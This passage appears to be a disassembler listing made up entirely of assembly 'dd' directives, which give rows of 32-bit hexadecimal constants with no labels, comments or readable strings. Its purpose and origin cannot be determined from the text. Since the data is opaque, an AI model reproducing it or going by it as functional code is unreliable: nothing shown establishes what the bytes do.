dd 0B806D188h, 6FE53703h, 13B6D52h, 8497DE68h, 7CAD2D40h
dd 9EDCC8A8h, 0D2B604F0h, 968CB4B8h, 0C6E91D0Ch, 435FB059h
dd 0F05C233Fh, 3E1D277Eh, 8A0E9A1Eh, 9B2818Ch, 82E69F0h
dd 414221FCh, 0B5CC9AB8h, 0E32F8024h, 0EECDBE7Eh, 2855B812h
dd 588C0012h, 0B9C912C0h, 0FF9CF4D1h, 207452E9h, 452D3D21h
dd 0CDE5A540h, 0C8F228E9h, 0ADBF3794h, 0CC071048h, 513142F5h
dd 1DEA402Bh, 7C00DC32h, 3F290C75h, 74B48025h, 0D6465Ch
dd 0DFE5BC50h, 246B5D4Ah, 809614h, 1B70AF75h, 4D2E48B2h
dd 18BE34A1h, 7678C035h, 59B807C4h, 1CFE4ABEh, 0FF0D2F98h
dd 40E0209Fh, 6C78461h, 3A9BE839h, 3E7C5039h, 823BE121h
dd 0CC4DB9BAh, 43E39490h, 733A4286h, 5F804979h, 0DF5E20B6h
dd 946B3AE9h, 91BCD001h, 4C4A4462h, 0DD4EC1D8h, 0F0F53000h
dd 3A9DA13Bh, 0E10B6AD6h, 98E80DD2h, 0D0837402h, 0C393DE8Fh
dd 0CAA38341h, 0B19961B8h, 0A7481564h, 0F41F04B9h, 13680A62h
dd 0FE1EC00Ch, 1D24514Dh, 7E42A831h, 80E8B716h, 0B2C47D03h
dd 0D1186315h, 23701E39h, 2DC13251h, 94E08860h, 2586E5EAh
dd 0EC67F516h, 0B0613664h, 253AE0FBh, 653EF70Ah, 494D46Dh
dd 0C0473EE8h, 74E9F6E8h, 0F1F09192h, 74418D2h, 84D33C42h
dd 0B05AB93Eh, 144BC1F0h, 0B82C4010h, 0F6008CCBh, 97CC9ACDh
dd 944D2456h, 1ED108E4h, 52EDFE01h, 486428DDh, 0B8BE1720h
dd 0A8741240h, 663203ACh, 0C53FF7AAh, 0F310D827h, 9D4D286Fh
dd 155CF82Ah, 0C313BC96h, 0B30B361h, 0F7DEE4Eh, 9CB9D38h
dd 5254E0D6h, 202941B5h, 2240DD34h, 0C1C3608Dh, 76C62E08h
dd 0FBA94507h, 69B03B19h, 0AC16EBF6h, 92DD718Ch, 0F5DC0014h
dd 0E9783E89h, 4D005443h, 70C018A0h, 2CF3D459h, 8C058E7h
dd 80282671h, 90D5C921h, 0CAD1833Fh, 0D46122CBh, 19E3Dh
dd 4224B41Ch, 0FEE0659h, 7146F677h, 0C8872980h, 6327017Bh
dd 91A8979Eh, 0EB7F8036h, 30A16B6Fh, 7498BBA5h, 6C90E171h
dd 7DE78210h, 4447906h, 0EB176811h, 0CC2F542h, 27CE360h
dd 885AC1D1h, 0B08192A2h, 880E107Ah, 8FF6A958h, 341D670h
dd 2E596549h, 9BD58C09h, 0FD4DE1D4h, 0CB54653Eh, 0C037C8A4h
dd 0F51E488Eh, 49D94C12h, 0CAA080F7h, 5C004DB0h, 4B5F4E5Dh
dd 74F68D55h, 36DD2426h, 0C08BBFCCh, 0D8201554h, 1B76B4D3h
dd 744C0C09h, 4F1094CFh, 6DD841C9h, 222A0959h, 2595130Ch
dd 4C31B8E2h, 70A09689h, 6C437108h, 6802B522h, 6BC4C884h
dd 63106010h, 90F8994Eh, 0EC3A4E1Fh, 0AD00CC23h, 958DDD88h
dd 74A64CACh, 0C94B21B3h, 3A02986Eh, 8CD2F00Fh, 0AC725CBAh
dd 2E7C3F56h, 467E34A4h, 536B00D1h, 0A63CDA12h, 0E1BD395Fh
dd 2751A185h, 0E798910Eh, 463B0D35h, 49E2DD0Ch, 3C366400h
dd 0F1422C31h, 8382250Bh, 37461404h, 54F582F8h, 0A8725051h
dd 95B98621h, 63D8848h, 6FEF7F81h, 923CAD52h, 0F4B40548h
dd 0BBE2000Dh, 0BAB9E41Fh, 4008F9Eh, 2FD1ECCEh, 49194D47h
dd 0EB014469h, 0B1C161B5h, 302E6AD6h, 6104D721h, 90B0BDC9h
dd 8190B9EDh, 0B9ADC15Ch, 906FF00Ah, 58F69131h, 0D9104D23h
dd 9B04043Ch, 0CB4EE9D3h, 0C510B8BDh, 96D13853h, 58A33167h
dd 0D8CCC43Ch, 0AED12A82h, 0C7087CF0h, 28210D4Ch, 84B024A4h
dd 0C17D583Ch, 24594B80h, 49A041E1h, 7248C472h, 3F1D22A0h
dd 0D5A5B1CAh, 4848D4C4h, 8C50FC5Ch, 83BC5800h, 33A82E18h
dd 1565121Ch, 23B02F68h, 7E4C01CDh, 0FD3DC91Ch, 58D4D2DDh
dd 454D62h, 252199C0h, 8FF1EB81h, 800C152Bh, 1B0042BCh
dd 0F72950D0h, 1ECACE85h, 200D9960h, 62F66E05h, 0C8A0A1C1h
dd 0B1B8ED8Ch, 0AB0368C9h, 0D08D0E4Ch, 0CEF31900h, 93E6D6EAh
dd 0A7320004h, 0D1C1AADAh, 7073712Bh, 0A2143427h, 72423FA8h
dd 0CF320388h, 0D3C9BC23h, 1B7AEC0h, 60FD7318h, 9DFC9DB9h
dd 0B14BB490h, 4745E100h, 6CC4A21Ch, 0AF92006Ah, 107D635Bh
dd 4F26B8C5h, 0E411CF2h, 0F860F696h, 7F3B40E5h, 0B2EA5F09h
dd 0CA34C02Bh, 0D76135B9h, 9BC0EE8h, 825F0290h, 0EC5CC512h
dd 0EA662028h, 812D4909h
dd 0D924D939h, 75051838h, 1777D2Ch, 9F4887DEh, 80BC8C42h
dd 2D98EAB9h, 5CCC21CEh, 0A5101C6Bh, 948F2C1Ch, 5E3B7211h
dd 46959A02h, 0E07ECBDFh, 5027968Bh, 63CE4524h, 1F6B0024h
dd 2DE90BACh, 7086079Fh, 509DEBF3h, 0C9A04CA3h, 559EE307h
dd 52C1FC59h, 78804F19h, 0AAE9D192h, 6C006BA0h, 2BEDB3AEh
dd 44C8DF79h, 855F6F74h, 0D323B02Fh, 0BFC49B0Fh, 0D50E69E6h
dd 0E1D76CD1h, 0D89795EBh, 0EB813991h, 233D3F0Dh, 6DA70034h
dd 40D5E29Fh, 8B804F20h, 0C0D08850h, 0AE718E51h, 88420B2Bh
dd 0A318F300h, 9EFF82Ch, 0BBAC12Ah, 1C5ED042h, 0D0465Eh
dd 0D198899Fh, 0E4D2FF61h, 0B89797D9h, 0D180D091h, 2DA2C1A1h
dd 59FE7304h, 688D64C4h, 9EE08EF4h, 46010CC8h, 8801B419h
dd 8DB00832h, 75E8C88Fh, 7B630062h, 0E89805C2h, 1D069C9Bh
dd 0E1DC254Fh, 56D30771h, 7009174Dh, 7EC92E24h, 9804281Ah
dd 3C48528h, 58F7C4B0h, 2480A88Dh, 0AC6F91DCh, 9D15A31Fh
dd 9BC50640h, 1523122h, 998E46FAh, 0D4C9BA1Bh, 8856D5B1h
dd 0C3E1EBCh, 0C54E0ABEh, 0FE80C47Eh, 0ED9CDFF4h, 0BC2890EBh
dd 36465E74h, 2D500276h, 0A1A0E978h, 0D8808C6Ah, 679A53F8h
dd 24B94C90h, 78184271h, 1303FDECh, 829F2AB5h, 8AC01099h
dd 59171FC6h, 45087EFh, 0DC88DE14h, 994E005Ah, 2B30B53Dh
dd 0AB007581h, 0B41BF8C2h, 6C17FC0h, 1561892h, 404F7149h
dd 0A4020894h, 0DE959961h, 42C100C4h, 0BC93063Dh, 0D8ED62D2h
dd 0FAB3F02h, 4C76855Fh, 1ED9465Eh, 0E0009088h, 4C6E0B67h
dd 62C20692h, 29BD8A77h, 38DDDA00h, 0D3C120A2h, 4B487BA6h
dd 0D5D0C0FFh, 0CF508299h, 0E727FA84h, 0C4C845F3h, 0D9556038h
dd 1591673h, 0FD24D441h, 8D21D8h, 17564A53h, 6F004341h
dd 0F9DAFD70h, 48E8FA18h, 39BC18F3h, 4D3E0E8Ch, 20535AD1h
dd 0EAB94ACCh, 5C10BC60h, 12453C80h, 0A5CBDD84h, 0E0844D48h
dd 0D93D59C1h, 52758089h, 0F7E56471h, 0BA21F2Fh, 0B9C9CEF5h
dd 4DBDE360h, 0CD6476E9h, 70C8DD58h, 21AB3825h, 0B3524200h
dd 2C97654Ah, 0F48EDF4Ah, 0D3C03588h, 0F504B246h, 405E3860h
dd 200475BFh, 7C08D9CCh, 1C821484h, 7717204Fh, 0EC003BACh
dd 0D33EB1C7h, 0B6FB821h, 631385E1h, 1DB405h, 2D4115C4h
dd 0E894256Dh, 5493344h, 0D4D16010h, 0BA2ED902h, 0C9B15AEBh
dd 602F92CCh, 0E1A160D0h, 0FA0208B6h, 589D2D40h, 284D64C8h
dd 0F162495Fh, 4AC10E2Ch, 0B8804FB2h, 40C6B186h, 0B50669Dh
dd 5E73F3F5h, 0D97190D1h, 4D1C1118h, 0AB5D5A4Fh, 0C3F03A80h
dd 0A07732h, 0CD989C5Ch, 99D4E967h, 404B24Bh, 0B4C017F3h
dd 3D3F114h, 0C16316B5h, 9800D98Dh, 5EF0F70Ah, 60554882h
dd 2366E1B1h, 564B7368h, 3DC8648Bh, 1974EC3h, 5E3A3F86h
dd 804175CEh, 25F8B021h, 2BE77C6h, 86548AC7h, 45407CD7h
dd 954EB8EDh, 108120C5h, 35023959h, 9941D874h, 0C701C84Ah
dd 0B0342B2Dh, 0CDF224F2h, 0F9E30h, 0D3EA64F9h, 0B9077862h
dd 0F3BFA70Eh, 641A89BAh, 39CF6EB8h, 0CDB5A8F8h, 10DC4082h
dd 3EE33F79h, 1C42ADAFh, 826214DCh, 0D10459E8h, 0E2183Bh
dd 2C4B3C5Bh, 0F5F8C086h, 465ED4BEh, 0C13B023Ch, 0C8C3DE4Eh
dd 711D5634h, 0DB854B62h, 61039D54h, 90C26743h, 18D4F218h
dd 0F0DBD2B1h, 58021747h, 0CADEC1B2h, 0F154D9E2h, 7421851h
dd 743D4504h, 2ECE9128h, 0EDB44158h, 33750144h, 23D83E2Eh
dd 9FFB003Dh, 0EAA93677h, 0D5354816h, 0EB4FFC81h, 0F504F86Dh
dd 0E9423D64h, 0FC4BDF64h, 580CC6AAh, 463CB88Bh, 74026BC1h
dd 0C3F64085h, 52DEA180h, 44C11834h, 0ED07F355h, 9CE94EE7h
dd 24BD484Ch, 0AFC41954h, 0DC801044h, 1324A70Bh, 0BF9C7CC9h
dd 5CA826A1h, 0D601CC46h, 0DC1C0338h, 1DFC7DDEh, 3900CDC9h
dd 962C9A31h, 88830429h, 0E0566B24h, 75405B78h, 0F4B5B7F3h
dd 6FD94E8Eh, 0BCA19371h, 0FEE879E8h, 1D1FBE9h, 11C8232Fh
dd 0EB8070A5h, 0B917618Dh, 3440C515h, 0FBD508BAh, 6B7F4BF5h
dd 16CE0F0Ch, 0FFDC037Eh, 0DA690047h, 570F5545h, 0C8ABAC6Bh
dd 34DA09E7h, 88966800h, 94E9EC01h, 7CBF00E1h, 9753B6D9h
dd 0E4001976h, 7E2D492Ah, 0BDEE18EAh, 5C000CB7h, 0B09F147Dh
dd 4A3F2716h, 209FA8C6h, 31DC6FB0h, 41E73D8h, 0E8B1D1D3h
dd 5440F0A4h, 0A0727528h, 0DECA970Ch, 27C081E3h, 0DC8779B9h
dd 822D98Dh, 6661CF15h, 0F4CEC137h, 62021F1Eh, 0C925F98Bh
dd 1C04559Ah, 0C8B48F69h, 8DCCC037h, 0D3005193h, 7DE942B9h
dd 0C5E3AC6Ch, 403D05D9h, 7AC1AE80h, 650066CDh, 9AE90ACEh
dd 5B2E5Ah, 0C25C10A9h, 32BD5925h, 4E42589Ch, 4DD01CEh
dd 25C86255h, 24805A29h, 28B0EAEDh, 7654B498h, 300CE46h
dd 63386ACCh, 4C91DFFFh, 0C19C6DA5h, 703E682Fh, 0A35C194h
dd 5CECC0D2h, 0D480DA8Fh, 0EBC51470h, 5A78B00h, 3AC13F5Bh
dd 404B029Ah, 1171059h, 28F8E0D2h, 0EB2F3500h, 694A5E31h
dd 0E3E638A7h, 3741C82h, 827D405Ah, 0F5F778h, 0CB0C4906h
dd 0C2F65C2Dh, 5E950780h, 20878BF3h, 0DD44C018h, 0C359F0Bh
dd 0B44B8D80h, 0E963CD86h, 0F3119BF8h, 4E179023h, 3ABCF3F5h
dd 0B5F4035h, 41553E8Ch, 7082CC62h, 0E008A6E0h, 9080FC11h
dd 0A23EFD8Bh, 120969Fh, 298B9935h, 34DDFFADh, 0E1C2CA60h
dd 7EF608C9h, 0F80FF484h, 0EA2D3EAAh, 6C115467h, 74696203h
dd 76A8C143h, 0D899FF8Ah, 218D7F9h, 0C5055479h, 0AF91B3FAh
dd 5EE42881h, 0DA224D08h, 4FE3090Dh, 70F131E9h, 3105491h
dd 8C50F8BEh, 0B0179ECh, 0D7F8BE9Ah, 0A1DBEF59h, 3FC8FE3Dh
dd 187494F6h, 0CDDE99C1h, 5941A5F7h, 0C4F50E60h, 0CF2231C3h
dd 0AE6A8297h, 0A0649C82h, 3D13210Fh, 9850A78Dh, 0B4E54D47h
dd 504C2888h, 0DC4ADCBCh, 6AEBCC59h, 0C95D240h, 458DF024h
dd 0F0314652h, 515EEB79h, 0FEDE7C1Fh, 27F3B206h, 41A08010h
dd 171580D2h, 0C3E478B0h, 74E66410h, 0C818CA92h, 338BC042h
dd 91051D45h, 1380ABBh, 0CD1ED8ADh, 8A5CC0FCh, 0D9E778FAh
dd 732CC01Bh, 5CA2DAC8h, 0D7467694h, 71A1226h, 0F08653B0h
dd 8C6F9B0Dh, 0F9E3DB06h, 4A815DFFh, 0A558E0F6h, 23523409h
dd 40985855h, 3C60051Ch, 12FD5629h, 0A64A0003h, 0ADC8A52Fh
dd 0C3003532h, 0B3CD33E9h, 5A554907h, 350B059h, 0EC34F324h
dd 9037E80Eh, 7795B700h, 4FBDFF2Dh, 0AE3D3F27h, 34143Ch
dd 0A10CB6BCh, 0AD1DC3h, 39916180h, 0F83BE2BFh, 85009DFCh
dd 25B687Eh, 0E3B9B8FDh, 8D0C247Ch, 7650ED80h, 2D771378h
dd 70FF9224h, 882F00DEh, 0F7C8B320h, 99A27EAEh, 0E8EBF085h
dd 0CE1188E4h, 0D509F4F4h, 145921E0h, 80F90840h, 30A0E08Eh
dd 0A1F9E6DEh, 0BC0245A6h, 4AC134ABh, 13F45C01h, 0B014E67Fh
dd 1CCA9DB5h, 0A44D4908h, 965F8BF4h, 62005C72h, 4AE72930h
dd 179EF665h, 60EE5DFh, 78F864A0h, 3D15C0Ah, 9C03A867h
dd 0E8CBD2B9h, 0F62E1F28h, 7200084h, 0D0F6712Dh, 7860A499h
dd 0F35D4958h, 338CA0E5h, 44F00E7Fh, 0B433AD1Bh, 9E02E270h
dd 0A16AFBD8h, 0F89CF835h, 5FE41C70h, 48D05BB6h, 40B0EAD7h
dd 3C0DE9D1h, 1818E4BEh, 44AAB510h, 4AF0877Eh, 0C46DDF41h
dd 0C5454709h, 9986F074h, 1859D2CAh, 1866DD3Dh, 7F01B41Bh
dd 5AED5EDCh, 447A3C69h, 0A92255FCh, 2C7F10CCh, 6CD905C9h
dd 0BE18D1F1h, 5C67F71Eh
dd 2A50E680h, 5B39526Fh, 1DC7A1Bh, 214A407Eh, 7C707AC3h
dd 2D3F88B2h, 6439FD27h, 4CC22094h, 29996012h, 808134C4h
dd 0C82E28EDh, 9097CBBCh, 81723B10h, 40D4CA4Eh, 28EC1645h
dd 41A5110h, 2A31C8EAh, 113FB4F2h, 79FE33C3h, 0A804D537h
dd 96301036h, 0B7B75DE7h, 528F8200h, 0A0643A01h, 64A9B400h
dd 67DF876Bh, 0E7FC00F8h, 8DB59AA8h, 0E27A0FCEh, 4865FB2Eh
dd 2D053040h, 0F76E00FCh, 1C960198h, 89072F53h, 0F8278134h
dd 0D14CF900h, 14809532h, 0FCC95D0Eh, 470AA302h, 4189B906h
dd 10D1B255h, 0D488E44Fh, 66AFFBC0h, 899C067h, 8A1F1E61h
dd 0B9C37A0Eh, 2B0D4CDh, 9818F4FBh, 0C978D649h, 1E4364A4h
dd 62546EEDh, 220EA8F6h, 0C9BC025Dh, 0DE142237h, 1D01B852h
dd 40EF965Ch, 0D02A8D03h, 59CCB204h, 87A68917h, 764E38B4h
dd 0DC21C6F4h, 270041DAh, 82F6145Ch, 7E47A1Bh, 2CF331B8h
dd 0D25B60D6h, 3F252FEAh, 3A087243h, 3E0AD392h, 82CD510h
dd 148BC4BEh, 0BBCC4806h, 48A4032Ah, 8915FA0Eh, 975FFCCAh
dd 81D291ACh, 0CD134CDDh, 167733F8h, 0E8F50DFDh, 4EA381A4h
dd 0C1D46BEAh, 1FF64C42h, 806DBC05h, 4FBC04B9h, 0A68488C0h
dd 62E8B17Ah, 0B786304h, 1CC4E1F5h, 1714D441h, 0C82E8DEFh
dd 6700B408h, 0D5E446CAh, 0A44193h, 77BAD93Bh, 489D1E25h
dd 9D00C4Ch, 0D97DEE1Ah, 18D9D180h, 0B0E600F3h, 0A7C7F02Eh
dd 82024E63h, 0F5147868h, 69C4DE53h, 78D4707Eh, 7C670492h
dd 88E74EEFh, 69016210h, 635CE95Bh, 7C781399h, 23EC2F4Eh
dd 0C096003Bh, 4BB71FDDh, 0E8953F00h, 9B2985EBh, 3548165Ah
dd 0D3644125h, 1E0E6B9h, 303FF3C7h, 0D5174730h, 26A992Fh
dd 57E68258h, 5011DC1Dh, 19BB7F80h, 3E014669h, 6D418151h
dd 3B5FB9h, 0C1359840h, 0C9AD5CEh, 0BC96115h, 4AED0680h
dd 728389Dh, 0F55CCAF1h, 903A44DEh, 81416D20h, 6460345Bh
dd 26892CCh, 0AB1EEA44h, 1C84CB27h, 3ED0B7B2h, 0BCC917BFh
dd 3DE2D0A3h, 0E8E4EE30h, 0B86777BAh, 6CB120D8h, 0DB20B098h
dd 61C324A4h, 0EBE74014h, 9F09DD8Eh, 0C1C12A85h, 0CDD4E2ACh
dd 6EC481CFh, 32C53020h, 0ABF80011h, 9DC78763h, 25303FFCh
dd 0F690099Eh, 120D74FAh, 0F10040Eh, 608344A4h, 5EE2FB80h
dd 465E745Ch, 0AB2B0341h, 0C86E4A04h, 0C9C42D77h, 0E0A1BADAh
dd 2F5A357Fh, 250F0C88h, 0F459D2DFh, 43AAD88h, 0E1337592h
dd 3541D404h, 4DE810BAh, 0FF60096h, 1F8B5311h, 3A7FFDE0h
dd 5A048063h, 29732D4Ah, 0B1A4708Dh, 471184h, 85594516h
dd 0A04445Ah, 0C4D5C0EBh, 770F01BCh, 0D4B1381Bh, 8D2EEDBBh
dd 0DC93B89Eh, 10718F4h, 52CE5CC1h, 0F496C675h, 0B100EA9Dh
dd 47199EE9h, 0C04BED55h, 0EFF50380h, 8F0502F4h, 73566B0Ah
dd 0AB1808C2h, 50047B7Ch, 0E9000496h, 0E6AA0D3Ch, 3909F287h
dd 8A8BAC1h, 910EE0ACh, 5909034h, 4AF6408Eh, 9C860C3h
dd 0E1B9BAC9h, 7540B4ACh, 4ADE0640h, 332CD7D3h, 47EB4997h
dd 483F1112h, 7F624091h, 758872DAh, 5BC380D2h, 977C209Fh
dd 0C120DE96h, 0EBFDF571h, 7E908F80h, 0FCA9FE16h, 69184379h
dd 50445600h, 3EA46268h, 8A615C55h, 0B892E525h, 3A795051h
dd 6B078518h, 0AC644ED9h, 99C16181h, 224A5C38h, 272116BCh
dd 75C7694Dh, 6ED12578h, 0DF240880h, 297457DEh, 8C8C84Eh
dd 28412042h, 995183Dh, 0C84EBBBAh, 81CEB190h, 0F54DC827h
dd 75584F62h, 0F678FEB5h, 78BD2800h, 5FC2C6D2h, 8FE4884h
dd 82167D84h, 0DB046648h, 1C6AAA34h, 6A561E75h, 0C0E745F6h
dd 3F8B28Eh, 8C684BABh, 45AA94BCh, 0B4D241B4h, 115EC1B8h
dd 649C1482h, 493D7324h, 3C53A02Dh, 7FBDA07Fh, 637809B7h
dd 74F259C9h, 45D95210h, 4413F84Ch, 0DEF4E43Bh, 124836E3h
dd 0D0913E41h, 443F1D71h, 429A64D4h, 0FC9EB1D4h, 0ACFA2D98h
dd 782EC302h, 569142A7h, 0EA40064h, 0E6901E97h, 99453Dh
dd 200B9A9Bh, 176F97Dh, 0B1DC2ABAh, 3B8D21C6h, 8BF70C40h
dd 0E2C45F9Fh, 1466BDC9h, 0E4B8C597h, 0DE5067CCh, 287830Dh
dd 0D01208E3h, 8D27554h, 79557700h, 8222A971h, 73E739CEh
dd 51BB3F70h, 44CB2DEh, 30C7570h, 0D5EC00ECh, 6B521D8Ch
dd 5FF7C1BFh, 3F252DB9h, 40BB405Ch, 7D9700DEh, 63CD840Dh
dd 0CB09C26Eh, 0F99EB7B1h, 0F6010908h, 9500AC73h, 0F72FE721h
dd 3691D70h, 1250802Ch, 745AAE88h, 5E8BB213h, 80457848h
dd 0C226CA77h, 4C09CDBAh, 0C8B65FE3h, 4AEE5ED4h, 8F0431FBh
dd 9A3EFC8Bh, 3658E4BEh, 948B0198h, 40479CABh, 34022A3Fh
dd 94DCC41h, 0DC94DCh, 2E9D70DCh, 9B2553AEh, 99613005h
dd 0F8BCBD0Dh, 9654D88h, 0CDF800ACh, 6B2C008Ch, 26BCACC2h
dd 1BFEA161h, 4088D0A2h, 706D0234h, 0C8FAADBFh, 0CBB9E03Bh
dd 0A78DCC80h, 22EC9AEAh, 94A05E66h, 0F380CC2Eh, 3015E33h
dd 0EEB91B2Ch, 0B7001896h, 154A1C18h, 0B71198EFh, 465200Bh
dd 926037E4h, 9A18700Eh, 0E2193E66h, 35EF00A3h, 8817D510h
dd 6704B394h, 5CC32F44h, 606550C8h, 6F3A3143h, 0A2006DBEh
dd 0F50F6B02h, 8F372Eh, 0AD44EBB3h, 4918DD8h, 25CA8CA3h
dd 91841D7Dh, 316D81D4h, 68244475h, 883C4A3Fh, 8159D130h
dd 60F00B8h, 40FB7763h, 9EDD7B2Dh, 94E14430h, 0E058F630h
dd 5E9E575Dh, 7238C221h, 95C3877h, 0AF2F1h, 571A9ECh, 6BCADF10h
dd 0BB9124BCh, 2F020471h, 0AA876E20h, 3BC3CC1Dh, 0C28DA163h
dd 1DD864EDh, 0C0F69015h, 0F48CCA31h, 3894A16Bh, 144465Eh
dd 0E8CEE07Ch, 20300A95h, 8D284031h, 562CAEF4h, 61EB468h
dd 0E92CA960h, 8B2A3835h, 0C051C8B0h, 0A8A05E78h, 7398D701h
dd 76629ED4h, 0F84E36F0h, 0B1D516B7h, 497880A6h, 1A405665h
dd 208E04D3h, 0BB483D55h, 1E497C5Dh, 0A9501075h, 9C3C3FDBh
dd 0E7FE6400h, 29834F63h, 653E8D14h, 6CA892F8h, 78E82380h
dd 0BDF69E53h, 0FDB73E01h, 6EB9D39Dh, 0E8012E7h, 168CA290h
dd 78D13D3Fh, 446AC9DEh, 84171420h, 0F220B3F4h, 13FE303Ch
dd 0B796A5Ch, 0F8E1E597h, 8DB444DCh, 924A500h, 596D505Ch
dd 12C0B2C1h, 56B87588h, 0F264F20Ch, 0A7BA303Ah, 52D59801h
dd 7F61EC3Fh, 0C844F431h, 0D6B208F3h, 2EA330h, 305B8707h
dd 36C4DCE0h, 0D1C07F27h, 895C1680h, 0E1146044h, 785D4340h
dd 988D04E8h, 0AB4577D3h, 0D223342Fh, 98C7ED03h, 7C2A9843h
dd 4D4813D3h, 0E984039h, 0CA2D4AF6h, 0AD06CE9h, 0F8725DC1h
dd 2B2CAC00h, 0C371F3h, 1DBB248Fh, 74FD2786h, 400F562Fh
dd 84F569CCh, 0C1D3E406h, 2440E392h, 6418212Fh, 2250AC6Bh
dd 0C0B097CCh, 53F266D9h, 0C0A18D4Bh, 62731C0Ch, 10813055h
dd 0DED9E802h, 0FDE3D44h, 0C3244C2Ch, 55CF262h, 0B09642C1h
dd 8D2F24ECh, 38020032h, 6E0B239Dh, 1804B744h, 74F600B9h
dd 27A2EB2Fh, 0CEA2E4Fh, 0C1ED7C03h, 935CE3BDh, 0D38178ECh
dd 54E466A1h, 2774C8ACh, 0E8EE5274h, 7C7F865Eh, 3F287046h
dd 5E708090h, 0EEBB0BD8h, 0D4C2A5B8h, 2A8274D1h, 81BBEC4Fh
dd 5409553Ch, 0CEE93500h, 0C7DF3D89h, 0D0A414E8h, 7B00FC9Ch
dd 97E9EBF9h, 0C1202F7h, 7E163h, 3411732Eh, 60DEDEA7h
dd 301865CAh, 0E720617Dh, 82021BC9h, 8ADED747h, 0FFCEE025h
dd 258CE805h, 0A420B903h, 0E0574B02h, 6ECB9E00h, 105676F5h
dd 0F62507C1h
dd 0D0E2FC27h, 8D618ED9h, 8F180E02h, 0C07FAD05h, 5BDEA27Ch
dd 8874CB82h, 9219C0D2h, 1F6095ABh, 553E60A4h, 0A4A8A82Dh
dd 71250073h, 0FFB6EBEDh, 0F65A49D0h, 12BACCE2h, 3C06CEE6h
dd 20081B97h, 0CF20D01Fh, 9FB8205Fh, 20A77320h, 6775BD56h
dd 805C0D80h, 0FA804A7Fh, 0A2398017h, 80520480h, 39D84F48h
dd 80AC7E31h, 0D4803837h, 0A5298050h, 80202B80h, 5D808430h
dd 0A4F283C9h, 2919F02h, 7503B5C7h, 7D51201Ah, 32E9CA20h
dd 0D2097E87h, 36490E06h, 0E141B20Fh, 36CFD920h, 0B91116E4h
dd 20473820h, 8A207FF1h, 25A12085h, 20703520h, 0D220E6B6h
dd 981354AFh, 53944001h, 0F2517864h, 2090EA1Dh, 0DA62A301h
dd 28B52F1h, 502410Ah, 5E220233h, 2894F02h, 3C0639F8h
dd 0C29120D1h, 20874020h, 2E2096A8h, 0D0BB5462h, 6B8A4028h
dd 0C49B3240h, 4C5F5B1h, 0FE04AAA0h, 9D29047Bh, 9A810B0Ch
dd 40236E40h, 90688FA8h, 0D29FCCC1h, 0C01D3360h, 0B1201869h
dd 0EB512029h, 66368420h, 295A597Fh, 0DBE46554h, 0C40A7A40h
dd 461A1D1h, 4504F530h, 19830428h, 63FB304h, 40E93D2Fh
dd 0D9C47844h, 0BC0440CDh, 712D042Eh, 0FA9B504h, 6F31B099h
dd 1B23BB9h, 0F014F20h, 0ECCE0388h, 11177006h, 3CC1D364h
dd 27A9F90Ch, 95A9E1C8h, 4922A877h, 73811066h, 1F203239h
dd 9C056619h, 0D2F8A844h, 497D1106h, 73F19364h, 0C64EA04h
dd 40987992h, 0BE40C81Eh, 469940E0h, 0C4A86740h, 49C1F59h
dd 1812B925h, 7EC35857h, 80F3B180h, 29D848C6h, 80C385E9h
dd 1C80F22Bh, 8CD08165h, 71CE03B9h, 494880B6h, 80B75A80h
dd 0FA81D506h, 70CBE051h, 1B86D01h, 160192CCh, 10C4036Ah
dd 10983379h, 3632AF81h, 0E8A26CE9h, 7005336Dh, 0A659AC44h
dd 483EC04h, 7F06ACE4h, 0CD40111Bh, 76AA4034h, 64648940h
dd 4C29963h, 580AB02Ah, 8943989Ch, 0F970D0FEh, 53CA499h
dd 0DE09E4F5h, 0C087FC93h, 0C0E0F17Ch, 2007B210h, 7201E871h
dd 32A73D38h, 506C9C9Dh, 4DE3E700h, 15AE4328h, 737D6B00h
dd 0CA71C057h, 93EB0B2Ah, 0C8FE6DE9h, 6E988049h, 0EA9DA544h
dd 3CEC00D9h, 19B103E8h, 0DE707C5Eh, 0EE981460h, 5950D6h
dd 0D1820584h, 0E28DC2C9h, 19948197h, 7C299F97h, 0FFFA7503h
dd 103C2DF0h, 61E40002h, 31DD481Ah, 9250C011h, 632018C7h
dd 10192A7Ch, 0A0204A5Fh, 88C000DAh, 2300F6FCh, 9FA3A6CDh
dd 77529F2h, 0A42D4224h, 7BF3E176h, 63F1E8E4h, 0F55DEE09h
dd 813CCB81h, 80816FB6h, 12038D4h, 18056E72h, 0A0C1BF03h
dd 188B48D3h, 8086A03Ch, 920C28C6h, 50152E75h, 8B4204AFh
dd 0A81D2BB9h, 0B2471D9Ch, 59DF0303h, 0BA68331Ah, 0C1A725D8h
dd 0BC6E1F8Dh, 14D23C80h, 7434D823h, 158E0C3h, 0E7990013h
dd 0AE9E1005h, 24063D89h, 68908DF6h, 15F57D40h, 0A8CAED75h
dd 0EBBB7C00h, 4981F2F1h, 0F59B7850h, 376FD00h, 0BE7409C4h
dd 539A1FFCh, 0DEF083DFh, 0A017D88Ch, 8119759Dh, 0D6FC05D0h
dd 8518C12Dh, 4CF603F3h, 4CA15F90h, 0F79043EBh, 759ADCF0h
dd 9C83CE5h, 0E8809857h, 503488h, 0AEF89320h, 466F979Ah
dd 0C11C7500h, 0CDBEA954h, 9179017Eh, 7BDD6ABFh, 83388DD3h
dd 8FC870D5h, 9E4B8Dh, 0D80375B0h, 801C3B1Ah, 0E4E9F504h
dd 48426600h, 50D80118h, 634CD4B4h, 0C990B068h, 0AFF61017h
dd 0F0E0F8F5h, 0ED057CFEh, 0A4E2D853h, 48CE0C99h, 80960A34h
dd 8D15F797h, 0BCC591h, 2AB3CCF2h, 0E40F77A5h, 68C002Bh
dd 195F8236h, 0CD288F20h, 3F0338A8h, 0AB8D4C2Bh, 0AE4000CAh
dd 36FB5266h, 0B2005C69h, 0F6E5D763h, 3845BAB3h, 0C018CBEBh
dd 76A2B8B6h, 0FF857407h, 405DE98Dh, 83A1E893h, 0E80EC6D8h
dd 81217B92h, 0FA1F7552h, 5EAB820h, 87D5CA39h, 0ECECDEh
dd 0AC3190F4h, 74045B78h, 5059618Dh, 80F8DE5Ch, 48226020h
dd 2886112h, 758EECEDh, 0EC823C1Eh, 0E848C024h, 5B80EBFAh
dd 94525063h, 92A94028h, 240CF82Dh, 24C71AC4h, 0CBCA3171h
dd 84668842h, 34C147ACh, 89E00703h, 8FE80FECh, 0D28C3AC6h
dd 0E6355E18h, 0FC129149h, 6801A4F8h, 5759417h, 7490871Ch
dd 0EB10BC8Ch, 90EC9D9h, 0A39B0DF8h, 918C3098h, 6560D0E6h
dd 90E2EC30h, 0CA200FCh, 0F5FA8EC6h, 0E732E605h, 60ED2077h
